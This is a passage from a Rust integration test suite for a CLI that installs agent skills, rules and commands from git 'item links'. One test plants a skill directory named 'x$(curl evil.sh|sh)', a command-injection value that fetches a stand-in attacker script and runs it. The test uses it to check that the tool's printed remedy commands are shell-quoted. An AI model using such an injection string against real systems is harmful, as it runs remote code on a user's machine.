        "---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
    );
    sb.write_and_commit(
        "mind.toml",
        "[[items]]\nkind = \"agent\"\nname = \"dev\"\npath = \"agents/dev.md\"\n",
    );

    let r = sb.mind(&["learn", &sb.link("tree/main/vendor/review")]);
    assert!(!r.success, "the token must fail the install: {}", r.stdout);
    let remedy = extract_remedy(&r.stderr);
    assert!(
        remedy.contains("--add-root 'vendor'"),
        "a flat nested skill's root is its own parent: {remedy}"
    );

    for (i, run) in run_remedy(&sb, &remedy).into_iter().enumerate() {
        assert!(
            run.success,
            "step {i} of the printed remedy `{remedy}` failed: {} {}",
            run.stdout, run.stderr
        );
    }
    assert!(
        sb.claude_home.join("skills/review").exists(),
        "the derived root must actually make the meld half reach the flat \
         nested skill: `{remedy}`"
    );
}

#[test]
fn learn_pattern_no_match_shell_quotes_a_hostile_link_identity_end_to_end() {
    // spec: CLI-236 CLI-225
    // `LearnPatternNoMatch`'s message embeds the searched source's identity in
    // its own suggested `mind probe --source ... --no-tui` command. For an item
    // link that identity is `host/owner/repo#<item_path>`, and `item_path` is
    // validated only against traversal (LNK-10), never against shell
    // metacharacters -- so a repo can put `$(...)` in it. The unit test in
    // error.rs pins the message function; this drives the whole path through
    // the real binary, including `main.rs`'s `eprintln!("error: {err}")`, to
    // prove the quoting survives to the terminal rather than being reassembled
    // somewhere in between.
    let sb = Sandbox::bare("agents");
    let hostile = "x$(curl evil.sh|sh)";
    sb.write_and_commit(
        &format!("skills/{hostile}/SKILL.md"),
        "---\ndescription: hostile name\n---\n# hostile\n",
    );

    let r = sb.mind(&[
        "meld",
        &sb.link(&format!("tree/main/skills/{hostile}")),
        "--learn",
        "nope",
        "--yes",
    ]);
    assert!(
        !r.success,
        "a pattern matching nothing must fail: {} {}",
        r.stdout, r.stderr
    );
    let identity = sb.link_name(&format!("skills/{hostile}"));
    assert!(
        r.stderr.contains(&format!(
            "mind probe --source {} --no-tui",
            shell_quote(&identity)
        )),
        "the suggested command must carry the shell-quoted identity: {}",
        r.stderr
    );
    assert!(
        !r.stderr.contains(&format!("--source {identity} --no-tui")),
        "the identity must never reach the terminal bare inside the runnable \
         command: {}",
        r.stderr
    );
    // The instance is registered before the install pass, so the failure leaves
    // it melded (CLI-236) -- and the quoted command really does address it.
    assert_eq!(source_count(&sb), 1, "the source stays melded");
    let probe = sb.mind(&["probe", "--source", &identity, "--no-tui"]);
    assert!(
        probe.success && probe.stdout.contains(hostile),
        "the remedy the message prints must be a command that works: {} {}",
        probe.stdout,
        probe.stderr
    );
}

/// Mirrors `crate::error::shell_quote` (HOOK-106/CLI-225). Reproduced here
/// (not imported) because an integration test is a separate crate from the
/// binary and cannot reach a `pub(crate)` item.
fn shell_quote(s: &str) -> String {
    format!("'{}'", s.replace('\'', r"'\''"))
}

#[test]
fn forget_of_an_emptied_link_hint_shell_quotes_a_quote_carrying_identity() {
    // spec: LNK-5, CLI-225 -- the item-link identity is `local/<base>/<repo>#
    // <path>`, and `is_safe_manifest_path` allows the `#<path>` segment to
    // carry a `'` (only path traversal is rejected). The forget-of-an-
    // emptied-link hint used to frame the identity in bare single quotes
    // (`'{src_name}'`), which a `'` inside it would break out of; it must be
    // shell-quoted instead. Proven as a real round trip: the printed
    // `mind unmeld` command, run verbatim, drops exactly that instance.
    let sb = Sandbox::new();
    sb.write_and_commit(
        "skills/rev'iew/SKILL.md",
        "---\ndescription: a quote-carrying item\n---\n# skill\n",
    );
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/rev'iew")])
            .success
    );
    let name = sb.link_name("skills/rev'iew");
    let r = sb.mind(&["forget", "skill:rev'iew"]);
    assert!(r.success, "forget failed: {} {}", r.stdout, r.stderr);

    let quoted = shell_quote(&name);
    assert!(
        r.stderr.contains(&format!("mind unmeld {quoted}")),
        "the hint must shell-quote the quote-carrying identity: {}",
        r.stderr
    );
    assert!(
        !r.stderr.contains(&format!("mind unmeld '{name}'")),
        "the identity must never be framed in bare single quotes \
         (it would break out at the embedded '): {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 1, "the instance stays registered");

    // Real round trip: extract the printed command, tokenize as a shell
    // would, and run it -- it must drop exactly the aliased instance.
    let start = r.stderr.find("`mind ").expect("remedy present") + 1;
    let rest = &r.stderr[start..];
    let end = rest.find('`').unwrap_or(rest.len());
    let cmd = &rest[..end];
    let mut argv = shell_split(cmd);
    assert_eq!(argv.first().map(String::as_str), Some("mind"));
    argv.remove(0);
    let args: Vec<&str> = argv.iter().map(String::as_str).collect();
    let unmeld = sb.mind(&args);
    assert!(
        unmeld.success,
        "the round-tripped remedy must succeed: {} {}",
        unmeld.stdout, unmeld.stderr
    );
    assert_eq!(
        source_count(&sb),
        0,
        "the round-tripped `mind unmeld` must have dropped exactly the aliased instance"
    );
}

/// A minimal shell tokenizer for the single-quote + `'\''` idiom
/// `shell_quote` produces. Mirrors `tests/cli_hooks.rs`'s `shell_split`.
fn shell_split(s: &str) -> Vec<String> {
    let chars: Vec<char> = s.chars().collect();
    let n = chars.len();
    let mut i = 0;
    let mut tokens = Vec::new();
    let mut cur = String::new();
    let mut in_token = false;
    while i < n {
        let c = chars[i];
        if c.is_whitespace() {
            if in_token {
                tokens.push(std::mem::take(&mut cur));
                in_token = false;
            }
            i += 1;
            continue;
        }
        in_token = true;
        if c == '\'' {
            i += 1;
            while i < n && chars[i] != '\'' {
                cur.push(chars[i]);
                i += 1;
            }
            assert!(i < n, "unterminated single quote in {s:?}");
            i += 1;
        } else if c == '\\' && i + 1 < n && chars[i + 1] == '\'' {
            cur.push('\'');
            i += 2;
        } else {
            cur.push(c);
            i += 1;
        }
    }
    if in_token {
        tokens.push(cur);
    }
    tokens
}

#[test]
fn curated_sources_entry_can_be_an_item_link() {
    // spec: LNK-2
    // A [discover].sources entry may be a deep link; the curator's meld
    // registers the link instance (register-only, DSC-54).
    let lib = Sandbox::new();
    let curator = Sandbox::bare("curator");
    curator.write_and_commit(
        "mind.toml",
        &format!(
            "[discover]\nsources = [{{ source = \"{}\" }}]\n",
            lib.link("tree/main/skills/review")
        ),
    );
    let spec = curator.source.to_string_lossy().into_owned();
    let r = curator.mind(&["meld", &spec, "--register-only"]);
    assert!(r.success, "curator meld failed: {} {}", r.stdout, r.stderr);
    let sources = curator.mind(&["recall", "--sources"]);
    assert!(
        sources.stdout.contains("#skills/review"),
        "the curated link instance must register: {}",
        sources.stdout
    );
}

#[test]
fn link_registers_no_nested_sources() {
    // spec: LNK-8
    // The linked repo curates another source; a link into it must not walk
    // that curator layer.
    let other = Sandbox::new();
    let sb = Sandbox::new();
    sb.write_and_commit(
        "mind.toml",
        &format!(
            "[discover]\nsources = [{{ source = \"{}\" }}]\n",
            other.source.to_string_lossy()
        ),
    );
    let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
    assert!(r.success, "learn failed: {} {}", r.stdout, r.stderr);
    assert_eq!(
        source_count(&sb),
        1,
        "the linked repo's [discover].sources must not be walked"
    );
}

#[test]
fn meld_url_with_namespace_prefixes_the_skill() {
    // spec: LNK-9
    let sb = Sandbox::new();
    let r = sb.mind(&[
        "meld",
        &sb.link("tree/main/skills/review"),
        "--namespace",
        "pfx",
        "--register-only",
    ]);
    assert!(r.success, "meld failed: {} {}", r.stdout, r.stderr);
    let probe = sb.mind(&["probe"]);
    assert!(
        probe.stdout.contains("skill:pfx:review"),
        "the link's skill must carry the namespace: {}",
        probe.stdout
    );
}

#[test]
fn policy_allowlist_matches_the_base_repo_identity() {
    // spec: LNK-11
    // The allow pattern names the repo (no #path); a link into it melds under
    // lock. Matching against the extended identity would refuse it.
    let sb = Sandbox::new();
    let policy_path = sb.base.join("policy.toml");
    write(
        &policy_path,
        "[sources]\nlock = true\nallow = [\"local/*/agents\"]\n",
    );
    let policy = policy_path.to_string_lossy().into_owned();
    let r = sb.mind_env(
        &["learn", &sb.link("tree/main/skills/review")],
        &[("MIND_POLICY_FILE", policy.as_str())],
    );
    assert!(
        r.success,
        "an allowed repo must allow links into it: {} {}",
        r.stdout, r.stderr
    );
    // And a repo outside the allowlist stays refused for links too.
    let other = Sandbox::new();
    let deny_path = other.base.join("policy.toml");
    write(
        &deny_path,
        "[sources]\nlock = true\nallow = [\"local/*/other\"]\n",
    );
    let deny = deny_path.to_string_lossy().into_owned();
    let r = other.mind_env(
        &["learn", &other.link("tree/main/skills/review")],
        &[("MIND_POLICY_FILE", deny.as_str())],
    );
    assert!(
        !r.success,
        "a non-allowed repo must refuse links: {}",
        r.stdout
    );
}

#[test]
fn learn_blob_url_not_ending_in_skill_md_reports_bad_item_link() {
    // spec: LNK-14
    // A blob URL that does not end in /SKILL.md carries a tree/blob marker,
    // so it is an attempted item link that failed to parse: the error must
    // name the expected shapes, not the generic invalid-repo-spec message.
    let sb = Sandbox::new();
    let url = sb.link("blob/main/skills/review");
    let r = sb.mind(&["learn", &url]);
    assert!(!r.success, "a malformed blob link must fail: {}", r.stdout);
    assert!(
        r.stderr.contains(&url),
        "the error must name the offending URL: {}",
        r.stderr
    );
    assert!(
        r.stderr.contains("tree/<ref>") && r.stderr.contains("blob/<ref>"),
        "the error must name the expected link shapes: {}",
        r.stderr
    );
    assert!(
        !r.stderr.contains("not a valid repo spec"),
        "the error must not fall back to the generic repo-spec message: {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn learn_tree_url_with_no_path_reports_bad_item_link() {
    // spec: LNK-14
    // A tree URL missing its skill-directory path is likewise an attempted
    // item link that failed to parse.
    let sb = Sandbox::new();
    let url = sb.link("tree/main");
    let r = sb.mind(&["learn", &url]);
    assert!(!r.success, "a pathless tree link must fail: {}", r.stdout);
    assert!(
        r.stderr.contains(&url),
        "the error must name the offending URL: {}",
        r.stderr
    );
    assert!(
        r.stderr.contains("tree/<ref>") && r.stderr.contains("blob/<ref>"),
        "the error must name the expected link shapes: {}",
        r.stderr
    );
    assert!(
        !r.stderr.contains("not a valid repo spec"),
        "the error must not fall back to the generic repo-spec message: {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn meld_plain_bad_spec_keeps_the_generic_invalid_repo_spec_message() {
    // spec: LNK-14
    // A bad spec with no tree/blob marker at all is not an attempted item
    // link, so it must keep reporting the generic invalid-repo-spec message,
    // unaffected by the LNK-14 routing. `meld` (unlike `learn`, which only
    // parses a spec as a repo/link when it contains "://") always parses its
    // argument through the same repo-spec parser (source.rs::parse_spec).
    let sb = Sandbox::new();
    let r = sb.mind(&["meld", "notarealspec"]);
    assert!(!r.success, "a malformed spec must fail: {}", r.stdout);
    assert!(
        r.stderr.contains("not a valid repo spec"),
        "a marker-less bad spec must keep the generic message: {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn json_error_envelope_kind_is_bad_item_link() {
    // spec: LNK-14, CLI-181, CLI-182
    // Under --json, a malformed item-link URL (tree/blob marker present, tail
    // fails to parse) must emit the standard error envelope
    // {"schema":1,"error":{"kind":"bad-item-link","message":"..."}} on stdout,
    // not the generic "invalid-repo-spec" kind.
    let sb = Sandbox::new();
    let url = sb.link("tree/main");
    let r = sb.mind(&["learn", &url, "--json"]);
    assert!(!r.success, "a pathless tree link must fail: {}", r.stdout);
    let v: serde_json::Value = serde_json::from_str(r.stdout.trim())
        .unwrap_or_else(|e| panic!("stdout is not valid JSON ({e}): {:?}", r.stdout));
    assert_eq!(v["schema"], 1, "schema must be 1: {}", r.stdout);
    let err = &v["error"];
    assert_eq!(
        err["kind"], "bad-item-link",
        "kind must be bad-item-link, not the generic invalid-repo-spec: {}",
        r.stdout
    );
    let msg = err["message"].as_str().unwrap_or("");
    assert!(
        msg.contains(&url),
        "message must name the offending URL: {msg}"
    );
    assert!(
        !r.stderr.contains("error:"),
        "main error handler must not write to stderr under --json: {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn link_instances_at_different_refs_keep_independent_commits_after_sync() {
    // spec: STO-70
    // Two links into the SAME repo at different item paths, pinned to
    // DIFFERENT branches, must not clobber each other's clone. This is the
    // C31 bug: before STO-70, `clone_dir` ignored `item_path`, so both
    // instances (and a plain meld of the repo) resolved to the identical
    // clone directory; syncing one instance's branch checkout onto that
    // shared directory would silently discard the other's. The existing
    // `link_instances_and_a_plain_meld_coexist` test above uses `tree/main`
    // for both links, so even under the old bug both instances would read
    // identical content post-clobber and the bug stayed invisible; pinning
    // the two instances to DIFFERENT branches with DIFFERENT content makes a
    // clobber observable.
    let sb = Sandbox::new(); // skills/review, skills/extra on `main`.
    git(&sb.source, &["checkout", "-b", "other"]);
    sb.write_and_commit(
        "skills/extra/SKILL.md",
        "---\ndescription: A second skill\n---\n# extra skill\non the other branch\n",
    );
    git(&sb.source, &["checkout", "main"]);

    // review is pinned to `main`; extra is pinned to `other`.
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/review")])
            .success
    );
    assert!(
        sb.mind(&["learn", &sb.link("tree/other/skills/extra")])
            .success
    );

    let extra_initial =
        std::fs::read_to_string(sb.claude_home.join("skills/extra/SKILL.md")).unwrap();
    assert!(
        extra_initial.contains("on the other branch"),
        "extra must install from `other`'s content: {extra_initial}"
    );

    // Diverge both branches further, independently.
    git(&sb.source, &["checkout", "main"]);
    sb.write_and_commit(
        "skills/review/SKILL.md",
        "---\ndescription: Review the diff for bugs\n---\n# review skill\nmain edit\n",
    );
    git(&sb.source, &["checkout", "other"]);
    sb.write_and_commit(
        "skills/extra/SKILL.md",
        "---\ndescription: A second skill\n---\n# extra skill\nother edit\n",
    );
    git(&sb.source, &["checkout", "main"]);

    assert!(sb.mind(&["sync"]).success, "sync must succeed");
    let up = sb.mind(&["upgrade", "--yes"]);
    assert!(up.success, "upgrade failed: {} {}", up.stdout, up.stderr);

    let review_final =
        std::fs::read_to_string(sb.claude_home.join("skills/review/SKILL.md")).unwrap();
    let extra_final =
        std::fs::read_to_string(sb.claude_home.join("skills/extra/SKILL.md")).unwrap();
    assert!(
        review_final.contains("main edit"),
        "review must reflect main's own edit: {review_final}"
    );
    assert!(
        !review_final.contains("other edit"),
        "review must not be clobbered by other's content: {review_final}"
    );
    assert!(
        extra_final.contains("other edit"),
        "extra must reflect other's own edit: {extra_final}"
    );
    assert!(
        !extra_final.contains("main edit"),
        "extra must not be clobbered by main's content: {extra_final}"
    );
}

#[test]
fn unmeld_of_one_link_instance_leaves_the_others_clone_and_skill_intact() {
    // spec: STO-70
    // Before STO-70, two non-aliased link instances into the same repo shared
    // one clone directory; `unmeld`'s cleanup of one instance's clone would
    // remove that shared directory out from under the other, breaking its
    // installed skill and any future sync of it.
    let sb = Sandbox::new();
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/review")])
            .success
    );
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/extra")])
            .success
    );

    let name_review = sb.link_name("skills/review");
    let r = sb.mind(&["unmeld", &name_review, "--yes"]);
    assert!(r.success, "unmeld failed: {} {}", r.stdout, r.stderr);

    // The unmelded instance's skill is gone...
    assert!(
        !sb.claude_home.join("skills/review").exists(),
        "the unmelded instance's skill must be uninstalled"
    );
    // ...but the surviving instance's skill and registration are untouched.
    assert!(
        sb.claude_home.join("skills/extra").exists(),
        "the surviving instance's installed skill must remain"
    );
    let extra_content =
        std::fs::read_to_string(sb.claude_home.join("skills/extra/SKILL.md")).unwrap();
    assert!(extra_content.contains("A second skill"));

    let sources = sb.mind(&["recall", "--sources"]).stdout;
    assert!(
        sources.contains("#skills/extra"),
        "the surviving instance must stay registered: {sources}"
    );
    assert!(
        !sources.contains("#skills/review"),
        "the unmelded instance must be gone: {sources}"
    );

    // The surviving instance's clone directory itself -- keyed on its own
    // encoded item_path, per the STO-70 leaf formula -- must still be present
    // on disk.
    let survivor_clone = sb
        .mind_home
        .join("sources")
        .join("local")
        .join(sb.base.file_name().unwrap())
        .join(format!(
            "{}#skills%2Fextra",
            sb.source.file_name().unwrap().to_string_lossy()
        ));
    assert!(
        survivor_clone.join(".git").is_dir(),
        "the surviving instance's own clone dir must remain: {survivor_clone:?}"
    );

    // And it must still be fully usable: a further sync succeeds.
    let r2 = sb.mind(&["sync"]);
    assert!(
        r2.success,
        "sync after unmeld must still succeed: {} {}",
        r2.stdout, r2.stderr
    );
}

#[test]
fn dump_emits_a_reconstructed_link_entry_not_a_skip_note() {
    // spec: LNK-13
    // `dump` now emits a reconstructed deep-URL entry for a link instance
    // (round-tripped in tests/cli_dump.rs), rather than skipping it with a
    // note. This pins that basic behavior from the item-link side: the entry
    // is present and no "skipping item link" note is printed.
    let sb = Sandbox::new();
    assert!(
        sb.mind(&["learn", &sb.link("tree/main/skills/review")])
            .success
    );
    let r = sb.mind(&["dump"]);
    assert!(r.success, "dump failed: {} {}", r.stdout, r.stderr);
    assert!(
        !r.stderr.contains("skipping item link"),
        "dump must no longer skip an item-link instance: {}",
        r.stderr
    );
    assert!(
        r.stdout.contains("skills/review"),
        "an entry reconstructing the link instance must be emitted: {}",
        r.stdout
    );
}

// ----- LNK-20..23: single-file item links (agent / rule / command) -----

/// A sandbox repo carrying one file item per kind, plus one at an
/// unconventional path.
fn file_item_sandbox() -> Sandbox {
    let sb = Sandbox::bare("lib");
    sb.write_and_commit(
        "agents/dev.md",
        "---\ndescription: The dev agent\n---\n# dev\n",
    );
    sb.write_and_commit(
        "rules/style.md",
        "---\ndescription: House style\n---\n# style\n",
    );
    sb.write_and_commit(
        "commands/ship.md",
        "---\ndescription: Ship it\n---\n# ship\n",
    );
    sb
}

#[test]
fn blob_link_to_an_agent_file_installs_just_that_agent() {
    // spec: LNK-20 LNK-21 LNK-7
    // A blob link to `agents/dev.md` is a file link: the item is that one
    // file, kind from the containing directory, name from the file stem.
    let sb = file_item_sandbox();
    let r = sb.mind(&["learn", &sb.link("blob/main/agents/dev.md")]);
    assert!(r.success, "learn failed: {} {}", r.stdout, r.stderr);
    assert!(
        sb.claude_home.join("agents/dev.md").exists(),
        "the linked agent must be installed"
    );
    assert!(
        !sb.claude_home.join("rules/style.md").exists(),
        "the repo's other items must NOT be installed"
    );
    let sources = sb.mind(&["recall", "--sources"]);
    assert!(
        sources.stdout.contains("#agents/dev.md"),
        "the instance identity carries the file path: {}",
        sources.stdout
    );
    let probe = sb.mind(&["probe"]);
    assert!(
        probe.stdout.contains("agent:dev") && !probe.stdout.contains("rule:style"),
        "the catalog is exactly the linked file: {}",
        probe.stdout
    );
}

#[test]
fn file_link_kind_comes_from_the_containing_directory() {
    // spec: LNK-21
    // rules/ -> rule and commands/ -> command, with no annotation.
    for (path, target) in [
        ("blob/main/rules/style.md", "rules/style.md"),
        ("blob/main/commands/ship.md", "commands/ship.md"),
    ] {
        let sb = file_item_sandbox();
        let r = sb.mind(&["learn", &sb.link(path)]);
        assert!(r.success, "{path}: learn failed: {} {}", r.stdout, r.stderr);
        assert!(
            sb.claude_home.join(target).exists(),
            "{path}: must install as {target}"
        );
    }
}

#[test]
fn file_link_kind_falls_back_to_frontmatter() {
    // spec: LNK-21
    // A file outside a conventional directory is classified by its own
    // frontmatter `kind:`.
    let sb = Sandbox::bare("lib");
    sb.write_and_commit(
        "vendor/style.md",
        "---\nkind: rule\ndescription: House style\n---\n# style\n",
    );
    let r = sb.mind(&["learn", &sb.link("blob/main/vendor/style.md")]);
    assert!(r.success, "learn failed: {} {}", r.stdout, r.stderr);
    assert!(
        sb.claude_home.join("rules/style.md").exists(),
        "frontmatter kind decides where it links"
    );
}

#[test]
fn explicit_kind_outranks_the_containing_directory_and_is_recorded() {
    // spec: LNK-21 LNK-22 CLI-239 STO-81
    // `--kind` is step 1 of the resolution order, and it is persisted on the
    // instance so every later scan classifies the item the same way.
    let sb = file_item_sandbox();
    let r = sb.mind(&[
        "learn",
        &sb.link("blob/main/agents/dev.md"),
        "--kind",
        "rule",
    ]);
    assert!(r.success, "learn failed: {} {}", r.stdout, r.stderr);
    assert!(
        sb.claude_home.join("rules/dev.md").exists()
            && !sb.claude_home.join("agents/dev.md").exists(),
        "--kind rule must win over the agents/ directory"
    );
    let json = std::fs::read_to_string(sb.mind_home.join("sources.json")).expect("sources.json");
    assert!(
        json.contains("\"item_kind\": \"rule\"") || json.contains("\"item_kind\":\"rule\""),
        "the explicit kind must be recorded on the instance: {json}"
    );
    // A later scan reads the recorded kind back.
    let recall = sb.mind(&["recall"]);
    assert!(
        recall.stdout.contains("rule:dev"),
        "the recorded kind is what recall reports: {}",
        recall.stdout
    );
}

#[test]
fn a_directory_resolved_kind_records_nothing() {
    // spec: LNK-22
    // Only an explicit kind is persisted; a directory-resolved one is
    // re-derived from the pinned clone on every scan.
    let sb = file_item_sandbox();
    let r = sb.mind(&["learn", &sb.link("blob/main/agents/dev.md")]);
    assert!(r.success, "learn failed: {} {}", r.stdout, r.stderr);
    let json = std::fs::read_to_string(sb.mind_home.join("sources.json")).expect("sources.json");
    assert!(
        !json.contains("item_kind"),
        "no explicit kind was given, so none is recorded: {json}"
    );
}

#[test]
fn file_link_with_no_resolvable_kind_errors_and_registers_nothing() {
    // spec: LNK-21
    let sb = Sandbox::bare("lib");
    sb.write_and_commit(
        "vendor/thing.md",
        "---\ndescription: mystery\n---\n# thing\n",
    );
    let r = sb.mind(&["learn", &sb.link("blob/main/vendor/thing.md")]);
    assert!(!r.success, "an unclassifiable file must fail: {}", r.stdout);
    assert!(
        r.stderr.contains("--kind") && r.stderr.contains("frontmatter"),
        "the error must name the ways to resolve it: {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn kind_agent_rule_command_are_the_only_cli_kind_flag_values() {
    // spec: CLI-239
    // Unlike a curated entry's `kind =` (a bare TOML string, DSC-100), the CLI
    // flag is a clap ValueEnum over just agent/rule/command: a file link can
    // never resolve to a directory kind (LNK-21), so `skill`/`tool` are
    // rejected before any clone, with a real "possible values" list.
    let sb = file_item_sandbox();
    let r = sb.mind(&[
        "learn",
        &sb.link("blob/main/agents/dev.md"),
        "--kind",
        "skill",
    ]);
    assert!(!r.success, "--kind skill on a file must fail: {}", r.stdout);
    assert!(
        r.stderr.contains("possible values") && r.stderr.contains("agent"),
        "the error must name the legal set: {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn a_directory_kind_on_a_curated_file_link_is_a_mismatch() {
    // spec: LNK-21 DSC-100
    // The CLI flag can no longer name a directory kind (see the sibling test
    // above), but a curator's `kind =` is a bare TOML string and can still
    // declare one; the mismatch LNK-21 describes is still reachable that way.
    let lib = Sandbox::bare("lib");
    lib.write_and_commit("agents/dev.md", "---\ndescription: dev\n---\n# dev\n");
    let curator = Sandbox::bare("curator");
    curator.write_and_commit(
        "mind.toml",
        &format!(
            "[discover]\nsources = [{{ source = \"{}\", kind = \"skill\" }}]\n",
            lib.link("blob/main/agents/dev.md")
        ),
    );
    let spec = curator.source.to_string_lossy().into_owned();
    let r = curator.mind(&["meld", &spec, "--register-only"]);
    assert!(
        !r.success,
        "a directory kind on a curated file link must fail: {}",
        r.stdout
    );
    assert!(
        r.stderr.contains("cannot be a skill"),
        "the error must name the mismatch: {}",
        r.stderr
    );
}

#[test]
fn a_non_skill_kind_on_a_directory_link_is_a_mismatch() {
    // spec: LNK-21
    let sb = Sandbox::new();
    let r = sb.mind(&[
        "learn",
        &sb.link("tree/main/skills/review"),
        "--kind",
        "agent",
    ]);
    assert!(
        !r.success,
        "--kind agent on a directory must fail: {}",
        r.stdout
    );
    assert!(
        r.stderr.contains("cannot be an agent") || r.stderr.contains("always a skill"),
        "the error must name the mismatch: {}",
        r.stderr
    );
}

#[test]
fn kind_flag_without_an_item_link_is_refused() {
    // spec: CLI-239
    // --kind describes an item link's file; with a plain repo spec (meld) or a
    // plain item ref (learn) it is a usage error, not a silent no-op.
    let sb = file_item_sandbox();
    let spec = sb.source.to_string_lossy().into_owned();
    let m = sb.mind(&["meld", &spec, "--kind", "agent", "--register-only"]);
    assert!(
        !m.success,
        "--kind with a repo spec must fail: {}",
        m.stdout
    );
    assert!(
        m.stderr.contains("--kind") && m.stderr.contains("item link"),
        "the error must say --kind applies to an item link: {}",
        m.stderr
    );
    let l = sb.mind(&["learn", "agent:dev", "--kind", "agent"]);
    assert!(
        !l.success,
        "--kind with an item ref must fail: {}",
        l.stdout
    );
    assert!(
        l.stderr.contains("--kind"),
        "the error must name the flag: {}",
        l.stderr
    );
}

#[test]
fn an_unknown_kind_value_is_refused() {
    // spec: CLI-239
    let sb = file_item_sandbox();
    let r = sb.mind(&[
        "learn",
        &sb.link("blob/main/agents/dev.md"),
        "--kind",
        "wizard",
    ]);
    assert!(!r.success, "an unknown kind must fail: {}", r.stdout);
    assert!(
        r.stderr.contains("possible values") && r.stderr.contains("agent"),
        "the error must name the legal set: {}",
        r.stderr
    );
}

/// The `[possible values: ...]` line out of a clap usage error. A test asserts
/// on that line rather than on the whole message because the rejected value's
/// own name appears elsewhere in the message ("invalid value 'skill'"), which
/// would defeat a negative match against the set.
fn possible_values_line(stderr: &str) -> String {
    stderr
        .lines()
        .find(|l| l.contains("possible values:"))
        .unwrap_or_else(|| panic!("clap must print the legal value set: {stderr}"))
        .to_string()
}

#[test]
fn the_link_kind_value_set_excludes_every_non_file_kind() {
    // spec: LNK-21 CLI-239
    // LNK-21 is normative that `meld`/`learn --kind` is "typed to accept only
    // `agent`, `rule`, or `command` in the first place ... so `skill`/`tool`
    // there is refused before any clone rather than reaching this mismatch".
    // `kind_agent_rule_command_are_the_only_cli_kind_flag_values` pins one
    // corner of that (`learn --kind skill`, asserted by the PRESENCE of a
    // "possible values" list); this pins the set itself, from the other side:
    // every kind that must NOT be in it (`skill`, `tool`, `workflow`), on BOTH
    // verbs that take the flag (two separate `#[arg]` sites), asserting the
    // rejected kind is absent from the advertised list rather than only that
    // some list was printed -- a variant added to `LinkKindArg` would still
    // print a list, and would still name `agent`.
    let sb = file_item_sandbox();
    let url = sb.link("blob/main/agents/dev.md");
    for verb in ["learn", "meld"] {
        for bad in ["skill", "tool", "workflow"] {
            let r = sb.mind(&[verb, &url, "--kind", bad]);
            assert!(
                !r.success,
                "`{verb} --kind {bad}` must be a usage error: {}",
                r.stdout
            );
            assert!(
                r.stderr.contains(&format!("invalid value '{bad}'")),
                "clap must reject `{bad}` by name on `{verb}`: {}",
                r.stderr
            );
            let values = possible_values_line(&r.stderr);
            assert!(
                values.contains("agent") && values.contains("rule") && values.contains("command"),
                "the file-link kinds stay in the set on `{verb}`: {values}"
            );
            assert!(
                !values.contains(bad),
                "`{bad}` must not be offered as a `{verb} --kind` value: {values}"
            );
            // "Refused before any clone": no registration and no fetch, so the
            // rejection cannot have cost a network round trip.
            assert_eq!(source_count(&sb), 0, "nothing registered on failure");
            let cloned = std::fs::read_dir(sb.mind_home.join("sources"))
                .map(|d| d.flatten().count())
                .unwrap_or(0);
            assert_eq!(cloned, 0, "`{verb} --kind {bad}` must not clone anything");
        }
    }
}

#[test]
fn blob_link_to_a_non_markdown_file_reports_bad_item_link() {
    // spec: LNK-1 LNK-14 LNK-20
    let sb = file_item_sandbox();
    let url = sb.link("blob/main/scripts/run.sh");
    let r = sb.mind(&["learn", &url]);
    assert!(!r.success, "a non-.md blob link must fail: {}", r.stdout);
    assert!(
        r.stderr.contains(&url) && r.stderr.contains("blob/<ref>/<file>.md"),
        "the error must name the URL and the file shape: {}",
        r.stderr
    );
    assert!(
        !r.stderr.contains("not a valid repo spec"),
        "it must not fall back to the generic repo-spec message: {}",
        r.stderr
    );
}

#[test]
fn a_file_link_whose_path_is_not_a_file_errors() {
    // spec: LNK-7 LNK-20
    let sb = file_item_sandbox();
    let r = sb.mind(&["learn", &sb.link("blob/main/agents/missing.md")]);
    assert!(!r.success, "a missing file must fail: {}", r.stdout);
    assert!(
        r.stderr.contains("is not a file in the clone"),
        "the error must say the path is not a file: {}",
        r.stderr
    );
    assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}

#[test]
fn curated_sources_entry_can_be_a_file_link_with_a_kind() {
    // spec: DSC-100 LNK-2 LNK-20
    // A curator lists a deep blob URL to one file and declares its kind; the
    // entry registers as a file-link instance and installs under that kind.
    let lib = Sandbox::bare("lib");
    lib.write_and_commit(
        "vendor/style.md",
        "---\ndescription: House style\n---\n# style\n",
    );
    let curator = Sandbox::bare("curator");
    curator.write_and_commit(
        "mind.toml",
        &format!(
            "[discover]\nsources = [{{ source = \"{}\", kind = \"rule\", install = true }}]\n",
            lib.link("blob/main/vendor/style.md")
        ),
    );
    let spec = curator.source.to_string_lossy().into_owned();
    let r = curator.mind(&["meld", &spec, "--yes"]);
    assert!(r.success, "curator meld failed: {} {}", r.stdout, r.stderr);
    assert!(
        curator.claude_home.join("rules/style.md").exists(),
        "the curated file link must install under the declared kind: {}",
        r.stdout
    );
}

#[test]
fn a_curated_entry_with_an_unknown_kind_is_a_mind_toml_error() {
    // spec: DSC-100
    let lib = Sandbox::bare("lib");
    lib.write_and_commit("agents/dev.md", "---\ndescription: dev\n---\n# dev\n");
    let curator = Sandbox::bare("curator");
    curator.write_and_commit(
        "mind.toml",
        &format!(
            "[discover]\nsources = [{{ source = \"{}\", kind = \"wizard\" }}]\n",
            lib.link("blob/main/agents/dev.md")
        ),
    );
    let spec = curator.source.to_string_lossy().into_owned();
    let r = curator.mind(&["meld", &spec, "--register-only"]);
    assert!(
        !r.success,
        "an unknown kind must fail the meld: {}",
        r.stdout
    );
    assert!(
        r.stderr.contains("unknown kind 'wizard'"),
        "the error must name the offending value: {}",
        r.stderr
    );
}

#[test]
fn a_kind_on_a_non_link_curated_entry_is_a_mismatch() {
